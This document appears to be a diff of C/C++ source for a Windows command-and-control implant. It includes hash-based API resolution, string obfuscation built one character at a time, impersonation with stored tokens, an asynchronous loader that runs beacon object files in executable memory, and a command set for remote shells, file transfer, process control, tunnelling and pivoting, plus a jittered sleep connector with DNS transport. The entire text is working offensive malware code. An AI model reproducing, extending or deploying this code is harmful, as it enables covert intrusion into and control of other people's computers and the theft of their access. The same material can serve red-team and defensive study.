ApiWin->ImpersonateLoggedOnUser = (decltype(ImpersonateLoggedOnUser)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_IMPERSONATELOGGEDONUSER);
ApiWin->DuplicateTokenEx = (decltype(DuplicateTokenEx)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_DUPLICATETOKENEX);
ApiWin->CreateProcessAsUserA = (decltype(CreateProcessAsUserA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_CREATEPROCESSASUSERA);
ApiWin->CreateProcessWithTokenW = (decltype(CreateProcessWithTokenW)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_CREATEPROCESSWITHTOKENW);
}
// msvcrt
CHAR msvcrt_c[11];
msvcrt_c[0] = HdChrA('m');
msvcrt_c[1] = HdChrA('s');
msvcrt_c[2] = HdChrA('v');
msvcrt_c[3] = HdChrA('c');
msvcrt_c[4] = HdChrA('r');
msvcrt_c[5] = HdChrA('t');
msvcrt_c[6] = HdChrA('.');
msvcrt_c[7] = HdChrA('d');
msvcrt_c[8] = HdChrA('l');
msvcrt_c[9] = HdChrA('l');
msvcrt_c[10] = HdChrA(0);
HMODULE hMsvcrtModule = ApiWin->LoadLibraryA(msvcrt_c);
SysModules->Msvcrt = hMsvcrtModule;
if (hMsvcrtModule) {
#if defined(DEBUG)
ApiWin->printf = (printf_t)GetSymbolAddress(hMsvcrtModule, HASH_FUNC_PRINTF);
#endif
ApiWin->vsnprintf = (vsnprintf_t) GetSymbolAddress(hMsvcrtModule, HASH_FUNC_VSNPRINTF);
ApiWin->snprintf = (snprintf_t) GetSymbolAddress(hMsvcrtModule, HASH_FUNC__SNPRINTF);
}
// Ws2_32
CHAR ws2_32_c[11];
ws2_32_c[0] = HdChrA('W');
ws2_32_c[1] = HdChrA('s');
ws2_32_c[2] = HdChrA('2');
ws2_32_c[3] = HdChrA('_');
ws2_32_c[4] = HdChrA('3');
ws2_32_c[5] = HdChrA('2');
ws2_32_c[6] = HdChrA('.');
ws2_32_c[7] = HdChrA('d');
ws2_32_c[8] = HdChrA('l');
ws2_32_c[9] = HdChrA('l');
ws2_32_c[10] = HdChrA(0);
HMODULE hWs2_32Module = ApiWin->LoadLibraryA(ws2_32_c);
SysModules->Ws2_32 = hWs2_32Module;
if (hWs2_32Module) {
ApiWin->WSAStartup = (decltype(WSAStartup)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSASTARTUP);
ApiWin->WSACleanup = (decltype(WSACleanup)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSACLEANUP);
ApiWin->WSAGetLastError = (decltype(WSAGetLastError)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSAGETLASTERROR);
ApiWin->gethostbyname = (decltype(gethostbyname)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_GETHOSTBYNAME);
ApiWin->socket = (decltype(socket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SOCKET);
ApiWin->ioctlsocket = (decltype(ioctlsocket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_IOCTLSOCKET);
ApiWin->connect = (decltype(connect)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_CONNECT);
ApiWin->setsockopt = (decltype(setsockopt)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SETSOCKOPT);
ApiWin->getsockopt = (decltype(getsockopt)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_GETSOCKOPT);
ApiWin->closesocket = (decltype(closesocket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_CLOSESOCKET);
ApiWin->select = (decltype(select)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SELECT);
ApiWin->__WSAFDIsSet = (decltype(__WSAFDIsSet)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC___WSAFDISSET);
ApiWin->shutdown = (decltype(shutdown)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SHUTDOWN);
ApiWin->recv = (decltype(recv)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_RECV);
ApiWin->recvfrom = (decltype(recvfrom)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_RECVFROM);
ApiWin->send = (decltype(send)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SEND);
ApiWin->sendto = (decltype(sendto)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SENDTO);
ApiWin->accept = (decltype(accept)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_ACCEPT);
ApiWin->listen = (decltype(listen)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_LISTEN);
ApiWin->bind = (decltype(bind)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_BIND);
}
}
else {
return FALSE;
}
if (ApiNt) {
HMODULE hNtdllModule = GetModuleAddress(HASH_LIB_NTDLL);
SysModules->Ntdll = hNtdllModule;
if ( hNtdllModule ) {
ApiNt->NtClose = (decltype(NtClose)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCLOSE);
ApiNt->NtContinue = (decltype(NtContinue)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCONTINUE);
ApiNt->NtFreeVirtualMemory = (decltype(NtFreeVirtualMemory)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTFREEVIRTUALMEMORY);
ApiNt->NtQueryInformationProcess = (decltype(NtQueryInformationProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTQUERYINFORMATIONPROCESS);
ApiNt->NtQuerySystemInformation = (decltype(NtQuerySystemInformation)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTQUERYSYSTEMINFORMATION);
ApiNt->NtOpenProcess = (decltype(NtOpenProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENPROCESS);
ApiNt->NtOpenProcessToken = (decltype(NtOpenProcessToken)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENPROCESSTOKEN);
ApiNt->NtOpenThreadToken = (decltype(NtOpenThreadToken)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENTHREADTOKEN);
ApiNt->NtTerminateThread = (decltype(NtTerminateThread)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTTERMINATETHREAD);
ApiNt->NtTerminateProcess = (decltype(NtTerminateProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTTERMINATEPROCESS);
ApiNt->RtlGetVersion = (decltype(RtlGetVersion)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLGETVERSION);
ApiNt->RtlExitUserThread = (decltype(RtlExitUserThread)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLEXITUSERTHREAD);
ApiNt->RtlExitUserProcess = (decltype(RtlExitUserProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLEXITUSERPROCESS);
ApiNt->RtlIpv4StringToAddressA = (decltype(RtlIpv4StringToAddressA)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLIPV4STRINGTOADDRESSA);
ApiNt->RtlRandomEx = (decltype(RtlRandomEx)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLRANDOMEX);
ApiNt->RtlNtStatusToDosError = (decltype(RtlNtStatusToDosError)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLNTSTATUSTODOSERROR);
}
else {
return FALSE;
}
}
else {
return FALSE;
}
return TRUE;
}
+169
View File
@@ -0,0 +1,169 @@
#pragma once
#include <windows.h>
#include <iphlpapi.h>
#include <psapi.h>
#include "ntdll.h"
#define TEB NtCurrentTeb()
#define DECL_API(x) decltype(x) * x
typedef int (*printf_t)(const char* format, ...);
typedef int (*vsnprintf_t)(char* str, size_t size, const char* format, va_list args);
typedef int (*snprintf_t)(char*, size_t, const char*, ...);
extern void* __cdecl memset(void*, int, size_t);
extern void* __cdecl memcpy(void*, const void*, size_t);
CHAR HdChrA(CHAR c);
WCHAR HdChrW(WCHAR c);
struct SYSMODULES
{
HMODULE Kernel32;
HMODULE Ntdll;
HMODULE Iphlpapi;
HMODULE Advapi32;
HMODULE Msvcrt;
HMODULE Ws2_32;
};
struct WINAPIFUNC
{
// kernel32
DECL_API(CopyFileA);
DECL_API(CreateDirectoryA);
DECL_API(CreateFileA);
DECL_API(CreateNamedPipeA);
DECL_API(CreatePipe);
DECL_API(CreateProcessA);
DECL_API(CreateEventA);
DECL_API(CreateThread);
DECL_API(DisconnectNamedPipe);
DECL_API(DeleteCriticalSection);
DECL_API(DeleteFileA);
DECL_API(EnterCriticalSection);
DECL_API(TryEnterCriticalSection);
DECL_API(FindClose);
DECL_API(FindFirstFileA);
DECL_API(FindNextFileA);
DECL_API(FreeLibrary);
DECL_API(GetACP);
DECL_API(GetComputerNameExA);
DECL_API(GetCurrentDirectoryA);
DECL_API(GetDriveTypeA);
DECL_API(GetExitCodeProcess);
DECL_API(GetExitCodeThread);
DECL_API(GetFileSize);
DECL_API(GetFileAttributesA);
DECL_API(GetFullPathNameA);
DECL_API(GetLastError);
DECL_API(GetLogicalDrives);
DECL_API(GetOEMCP);
DECL_API(GetModuleBaseNameA);
DECL_API(GetModuleHandleA);
DECL_API(GetProcAddress);
DECL_API(GetLocalTime);
DECL_API(GetSystemTimeAsFileTime);
DECL_API(GetTickCount);
//DECL_API(GetTokenInformation);
DECL_API(GetTimeZoneInformation);
DECL_API(HeapAlloc);
DECL_API(HeapCreate);
DECL_API(HeapDestroy);
DECL_API(HeapReAlloc);
DECL_API(HeapFree);
DECL_API(InitializeCriticalSection);
DECL_API(IsWow64Process);
DECL_API(LoadLibraryA);
DECL_API(LocalAlloc);
DECL_API(LocalFree);
DECL_API(LocalReAlloc);
DECL_API(LeaveCriticalSection);
DECL_API(MoveFileA);
DECL_API(MultiByteToWideChar);
DECL_API(PeekNamedPipe);
DECL_API(ReadFile);
DECL_API(RemoveDirectoryA);
DECL_API(RtlCaptureContext);
DECL_API(SetCurrentDirectoryA);
DECL_API(SetNamedPipeHandleState);
DECL_API(SetEvent);
DECL_API(ResetEvent);
DECL_API(Sleep);
DECL_API(VirtualAlloc);
DECL_API(VirtualFree);
DECL_API(WaitForSingleObject);
DECL_API(WaitNamedPipeA);
DECL_API(WideCharToMultiByte);
DECL_API(WriteFile);
// iphlpapi
DECL_API(GetAdaptersInfo);
// advapi32
DECL_API(GetTokenInformation);
DECL_API(GetUserNameA);
DECL_API(LookupAccountSidA);
DECL_API(RevertToSelf);
DECL_API(ImpersonateLoggedOnUser);
DECL_API(SetThreadToken);
DECL_API(DuplicateTokenEx);
DECL_API(CreateProcessAsUserA);
DECL_API(CreateProcessWithTokenW);
// msvcrt
#if defined(DEBUG)
printf_t printf;
#endif
vsnprintf_t vsnprintf;
snprintf_t snprintf;
//ws2_32
DECL_API(WSAStartup);
DECL_API(WSACleanup);
DECL_API(socket);
DECL_API(gethostbyname);
DECL_API(ioctlsocket);
DECL_API(connect);
DECL_API(setsockopt);
DECL_API(getsockopt);
DECL_API(WSAGetLastError);
DECL_API(closesocket);
DECL_API(select);
DECL_API(__WSAFDIsSet);
DECL_API(shutdown);
DECL_API(recv);
DECL_API(recvfrom);
DECL_API(send);
DECL_API(sendto);
DECL_API(accept);
DECL_API(listen);
DECL_API(bind);
};
struct NTAPIFUNC
{
DECL_API(NtClose);
DECL_API(NtContinue);
DECL_API(NtFreeVirtualMemory);
DECL_API(NtQueryInformationProcess);
DECL_API(NtQuerySystemInformation);
DECL_API(NtOpenProcess);
DECL_API(NtOpenProcessToken);
DECL_API(NtOpenThreadToken);
DECL_API(NtTerminateThread);
DECL_API(NtTerminateProcess);
DECL_API(RtlGetVersion);
DECL_API(RtlExitUserThread);
DECL_API(RtlExitUserProcess);
DECL_API(RtlIpv4StringToAddressA);
DECL_API(RtlRandomEx);
DECL_API(RtlNtStatusToDosError);
};
extern SYSMODULES* SysModules;
extern WINAPIFUNC* ApiWin;
extern NTAPIFUNC* ApiNt;
BOOL ApiLoad();
+393
View File
@@ -0,0 +1,393 @@
#include "Boffer.h"
#include "bof_loader.h"
#include "utils.h"
Boffer* g_AsyncBofManager = NULL;
__declspec(thread) AsyncBofContext* tls_CurrentBofContext = nullptr;
extern HANDLE g_StoredToken;
void* Boffer::operator new(size_t sz)
{
return MemAllocLocal(sz);
}
void Boffer::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Boffer));
}
Boffer::Boffer()
{
this->wakeupEvent = NULL;
}
Boffer::~Boffer()
{
if (this->wakeupEvent) {
ApiNt->NtClose(this->wakeupEvent);
this->wakeupEvent = NULL;
}
ApiWin->DeleteCriticalSection(&this->managerLock);
}
BOOL Boffer::Initialize()
{
this->wakeupEvent = ApiWin->CreateEventA(NULL, TRUE, FALSE, NULL);
if (!this->wakeupEvent)
return FALSE;
ApiWin->InitializeCriticalSection(&this->managerLock);
return TRUE;
}
AsyncBofContext* Boffer::CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize)
{
AsyncBofContext* ctx = (AsyncBofContext*)MemAllocLocal(sizeof(AsyncBofContext));
if (!ctx)
return NULL;
memset(ctx, 0, sizeof(AsyncBofContext));
ctx->taskId = taskId;
ctx->state = ASYNC_BOF_STATE_PENDING;
ctx->coffFile = (BYTE*)MemAllocLocal(coffFileSize);
if (!ctx->coffFile) {
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
return NULL;
}
memcpy(ctx->coffFile, coffFile, coffFileSize);
ctx->coffFileSize = coffFileSize;
if (args && argsSize > 0) {
ctx->args = (BYTE*)MemAllocLocal(argsSize);
if (!ctx->args) {
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
return NULL;
}
memcpy(ctx->args, args, argsSize);
ctx->argsSize = argsSize;
}
ULONG entryLen = StrLenA(entryName) + 1;
ctx->entryName = (CHAR*)MemAllocLocal(entryLen);
if (!ctx->entryName) {
if (ctx->args)
MemFreeLocal((LPVOID*)&ctx->args, argsSize);
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
return NULL;
}
memcpy(ctx->entryName, entryName, entryLen);
ctx->hStopEvent = ApiWin->CreateEventA(NULL, TRUE, FALSE, NULL);
if (!ctx->hStopEvent) {
MemFreeLocal((LPVOID*)&ctx->entryName, entryLen);
if (ctx->args)
MemFreeLocal((LPVOID*)&ctx->args, argsSize);
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
return NULL;
}
ApiWin->InitializeCriticalSection(&ctx->outputLock);
ctx->outputBuffer = new Packer();
return ctx;
}
DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter)
{
AsyncBofContext* ctx = (AsyncBofContext*)lpParameter;
if (!ctx)
return 1;
tls_CurrentBofContext = ctx;
if (g_StoredToken)
ApiWin->ImpersonateLoggedOnUser(g_StoredToken);
ctx->state = ASYNC_BOF_STATE_RUNNING;
COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile;
COF_SYMBOL* pSymbolTable = (COF_SYMBOL*)(ctx->coffFile + pHeader->PointerToSymbolTable);
BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections);
if (!result) {
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}
ctx->mapFunctions = (LPVOID*)ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (!ctx->mapFunctions) {
CleanupSections(ctx->mapSections, MAX_SECTIONS);
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}
result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections, pSymbolTable, ctx->mapFunctions);
if (!result) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
ctx->mapFunctions = NULL;
CleanupSections(ctx->mapSections, MAX_SECTIONS);
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}
ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
ctx->outputBuffer->Pack8(TRUE);
ApiWin->LeaveCriticalSection(&ctx->outputLock);
CHAR* entryFuncName = PrepareEntryName(ctx->entryName);
if (entryFuncName) {
ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, pSymbolTable, pHeader, ctx->mapSections);
FreeFunctionName(entryFuncName);
}
if (ctx->mapFunctions) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
ctx->mapFunctions = NULL;
}
CleanupSections(ctx->mapSections, MAX_SECTIONS);
ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
ctx->outputBuffer->Pack8(FALSE);
ApiWin->LeaveCriticalSection(&ctx->outputLock);
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
if (g_AsyncBofManager)
g_AsyncBofManager->SignalWakeup();
return 0;
}
BOOL Boffer::StartAsyncBof(AsyncBofContext* ctx)
{
if (!ctx)
return FALSE;
ApiWin->EnterCriticalSection(&this->managerLock);
ctx->hThread = ApiWin->CreateThread(NULL, 0, AsyncBofThreadProc, ctx, 0, &ctx->threadId);
if (!ctx->hThread) {
ApiWin->LeaveCriticalSection(&this->managerLock);
return FALSE;
}
this->asyncBofs.push_back(ctx);
ApiWin->LeaveCriticalSection(&this->managerLock);
return TRUE;
}
BOOL Boffer::StopAsyncBof(ULONG taskId)
{
HANDLE hThread = NULL;
BOOL found = FALSE;
ApiWin->EnterCriticalSection(&this->managerLock);
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
if (this->asyncBofs[i]->taskId == taskId) {
AsyncBofContext* ctx = this->asyncBofs[i];
found = TRUE;
if (ctx->state == ASYNC_BOF_STATE_RUNNING) {
if (ctx->hStopEvent)
ApiWin->SetEvent(ctx->hStopEvent);
hThread = ctx->hThread;
}
ctx->state = ASYNC_BOF_STATE_STOPPED;
break;
}
}
ApiWin->LeaveCriticalSection(&this->managerLock);
if (!found)
return FALSE;
if (hThread) {
DWORD waitResult = ApiWin->WaitForSingleObject(hThread, 3000);
if (waitResult == WAIT_TIMEOUT)
ApiNt->NtTerminateThread(hThread, 0);
}
return TRUE;
}
void Boffer::ProcessAsyncBofs(Packer* outPacker)
{
if (!outPacker || this->asyncBofs.size() == 0)
return;
ApiWin->EnterCriticalSection(&this->managerLock);
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
AsyncBofContext* ctx = this->asyncBofs[i];
BOOL threadAlive = FALSE;
if (ctx->hThread) {
DWORD exitCode = 0;
ApiWin->GetExitCodeThread(ctx->hThread, &exitCode);
threadAlive = (exitCode == STILL_ACTIVE);
}
if (threadAlive) {
if (ApiWin->TryEnterCriticalSection(&ctx->outputLock)) {
if (ctx->outputBuffer && ctx->outputBuffer->datasize() > 0) {
outPacker->PackFlatBytes(ctx->outputBuffer->data(), ctx->outputBuffer->datasize());
ctx->outputBuffer->Clear(TRUE);
}
ApiWin->LeaveCriticalSection(&ctx->outputLock);
}
} else {
if (ctx->outputBuffer && ctx->outputBuffer->datasize() > 0) {
outPacker->PackFlatBytes(ctx->outputBuffer->data(), ctx->outputBuffer->datasize());
ctx->outputBuffer->Clear(TRUE);
}
if (ctx->state == ASYNC_BOF_STATE_RUNNING)
ctx->state = ASYNC_BOF_STATE_FINISHED;
}
}
ApiWin->LeaveCriticalSection(&this->managerLock);
CleanupFinishedBofs();
}
void Boffer::CleanupFinishedBofs()
{
Vector<AsyncBofContext*> pending;
ApiWin->EnterCriticalSection(&this->managerLock);
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
AsyncBofContext* ctx = this->asyncBofs[i];
if (ctx->state == ASYNC_BOF_STATE_FINISHED || ctx->state == ASYNC_BOF_STATE_STOPPED) {
pending.push_back(ctx);
this->asyncBofs.remove(i);
--i;
}
}
ApiWin->LeaveCriticalSection(&this->managerLock);
for (size_t i = 0; i < pending.size(); i++)
CleanupBofContext(pending[i]);
pending.destroy();
}
void Boffer::CleanupBofContext(AsyncBofContext* ctx)
{
if (!ctx)
return;
if (ctx->hThread) {
ApiWin->WaitForSingleObject(ctx->hThread, 5000);
DWORD exitCode = 0;
ApiWin->GetExitCodeThread(ctx->hThread, &exitCode);
if (exitCode == STILL_ACTIVE)
ApiNt->NtTerminateThread(ctx->hThread, 0);
ApiNt->NtClose(ctx->hThread);
ctx->hThread = NULL;
}
if (ctx->hStopEvent) {
ApiNt->NtClose(ctx->hStopEvent);
ctx->hStopEvent = NULL;
}
if (ctx->mapFunctions) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
ctx->mapFunctions = NULL;
}
CleanupSections(ctx->mapSections, MAX_SECTIONS);
if (ctx->coffFile)
MemFreeLocal((LPVOID*)&ctx->coffFile, ctx->coffFileSize);
if (ctx->args)
MemFreeLocal((LPVOID*)&ctx->args, ctx->argsSize);
if (ctx->entryName)
MemFreeLocal((LPVOID*)&ctx->entryName, StrLenA(ctx->entryName) + 1);
ApiWin->DeleteCriticalSection(&ctx->outputLock);
if (ctx->outputBuffer) {
ctx->outputBuffer->Clear(FALSE);
delete ctx->outputBuffer;
ctx->outputBuffer = NULL;
}
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
}
AsyncBofContext* Boffer::FindBofByThreadId(DWORD threadId)
{
ApiWin->EnterCriticalSection(&this->managerLock);
AsyncBofContext* result = NULL;
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
if (this->asyncBofs[i]->threadId == threadId) {
result = this->asyncBofs[i];
break;
}
}
ApiWin->LeaveCriticalSection(&this->managerLock);
return result;
}
BOOL Boffer::HasRunningAsyncBofs()
{
BOOL hasRunning = FALSE;
ApiWin->EnterCriticalSection(&this->managerLock);
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
AsyncBofContext* ctx = this->asyncBofs[i];
if (!ctx)
continue;
if (ctx->state == ASYNC_BOF_STATE_RUNNING) {
hasRunning = TRUE;
break;
}
if (ctx->hThread) {
DWORD exitCode = 0;
if (ApiWin->GetExitCodeThread(ctx->hThread, &exitCode) && exitCode == STILL_ACTIVE) {
hasRunning = TRUE;
break;
}
}
}
ApiWin->LeaveCriticalSection(&this->managerLock);
return hasRunning;
}
HANDLE Boffer::GetWakeupEvent()
{
return this->wakeupEvent;
}
void Boffer::SignalWakeup()
{
if (this->wakeupEvent)
ApiWin->SetEvent(this->wakeupEvent);
}
+76
View File
@@ -0,0 +1,76 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
#include "ApiLoader.h"
#define ASYNC_BOF_STATE_PENDING 0x0
#define ASYNC_BOF_STATE_RUNNING 0x1
#define ASYNC_BOF_STATE_FINISHED 0x2
#define ASYNC_BOF_STATE_STOPPED 0x3
#define ASYNC_BOF_OUTPUT_BUFFER_SIZE 0x10000
struct AsyncBofContext {
ULONG taskId;
ULONG state;
HANDLE hThread;
DWORD threadId;
HANDLE hStopEvent;
BYTE* coffFile;
ULONG coffFileSize;
BYTE* args;
ULONG argsSize;
CHAR* entryName;
CRITICAL_SECTION outputLock;
Packer* outputBuffer;
PCHAR mapSections[25];
LPVOID* mapFunctions;
};
extern __declspec(thread) AsyncBofContext* tls_CurrentBofContext;
class Boffer
{
public:
Vector<AsyncBofContext*> asyncBofs;
HANDLE wakeupEvent;
CRITICAL_SECTION managerLock;
Boffer();
~Boffer();
BOOL Initialize();
AsyncBofContext* CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize);
BOOL StartAsyncBof(AsyncBofContext* ctx);
BOOL StopAsyncBof(ULONG taskId);
void ProcessAsyncBofs(Packer* outPacker);
void CleanupFinishedBofs();
AsyncBofContext* FindBofByThreadId(DWORD threadId);
BOOL HasRunningAsyncBofs();
HANDLE GetWakeupEvent();
void SignalWakeup();
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
private:
void CleanupBofContext(AsyncBofContext* ctx);
};
extern Boffer* g_AsyncBofManager;
File diff suppressed because it is too large Load Diff
+90
View File
@@ -0,0 +1,90 @@
#pragma once
#include <windows.h>
#include "Packer.h"
#include "Agent.h"
#define COMMAND_CAT 24
#define COMMAND_CD 8
#define COMMAND_CP 12
#define COMMAND_DISKS 15
#define COMMAND_EXEC_BOF 50
#define COMMAND_EXEC_BOF_OUT 51
#define COMMAND_GETUID 22
#define COMMAND_JOBS_LIST 46
#define COMMAND_JOBS_KILL 47
#define COMMAND_PWD 4
#define COMMAND_LS 14
#define COMMAND_MV 18
#define COMMAND_MKDIR 27
#define COMMAND_PROFILE 21
#define COMMAND_PS_LIST 41
#define COMMAND_PS_KILL 42
#define COMMAND_PS_RUN 43
#define COMMAND_TERMINATE 10
#define COMMAND_REV2SELF 23
#define COMMAND_RM 17
#define COMMAND_UPLOAD 33
#define COMMAND_SHELL_START 71
#define COMMAND_SHELL_WRITE 72
#define COMMAND_SHELL_CLOSE 73
#define COMMAND_SHELL_ACEPT 74
#define COMMAND_SAVEMEMORY 0x2321
#define COMMAND_ERROR 0x1111ffff
class Agent;
class Commander
{
public:
Agent* agent;
Commander(Agent* agent);
void ProcessCommandTasks(BYTE* recv, ULONG recv_size, Packer* outPacker);
void CmdCat(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdCd(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdCp(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdDisks(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdDownload(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdDownloadState(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdExecBof(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdGetUid(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdJobsList(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdJobsKill(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdLink(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdLs(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdMkdir(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdMv(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdPivotExec(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdProfile(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdPsList(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdPsKill(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdPsRun(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdPwd(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdRev2Self(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdRm(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdShellStart(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdShellWrite(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTerminate(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgConnectTCP(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgConnectUDP(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgWriteTCP(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgWriteUDP(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgResume(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgPause(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgClose(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdTunnelMsgReverse(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker);
void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker);
void Exit(Packer* outPacker);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include "WaitMask.h"
class Connector
{
public:
virtual BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) = 0;
virtual BOOL WaitForConnection() { return TRUE; }
virtual BOOL IsConnected() { return TRUE; }
virtual void Disconnect() {}
virtual void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) = 0;
virtual BYTE* RecvData() = 0;
virtual int RecvSize() = 0;
virtual void RecvClear() = 0;
virtual void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput)
{
if (!hasOutput)
WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter);
}
virtual void CloseConnector() = 0;
virtual ~Connector() {}
};
File diff suppressed because it is too large Load Diff
+226
View File
@@ -0,0 +1,226 @@
#pragma once
#include "AgentConfig.h"
#include <windows.h>
#include <wininet.h>
#include "Connector.h"
#define DECL_API(x) decltype(x) * x
// DNS function pointers structure (for UDP DNS)
struct DNSFUNC {
DECL_API(LocalAlloc);
DECL_API(LocalReAlloc);
DECL_API(LocalFree);
DECL_API(WSAStartup);
DECL_API(WSACleanup);
DECL_API(socket);
DECL_API(closesocket);
DECL_API(sendto);
DECL_API(recvfrom);
DECL_API(select);
DECL_API(gethostbyname);
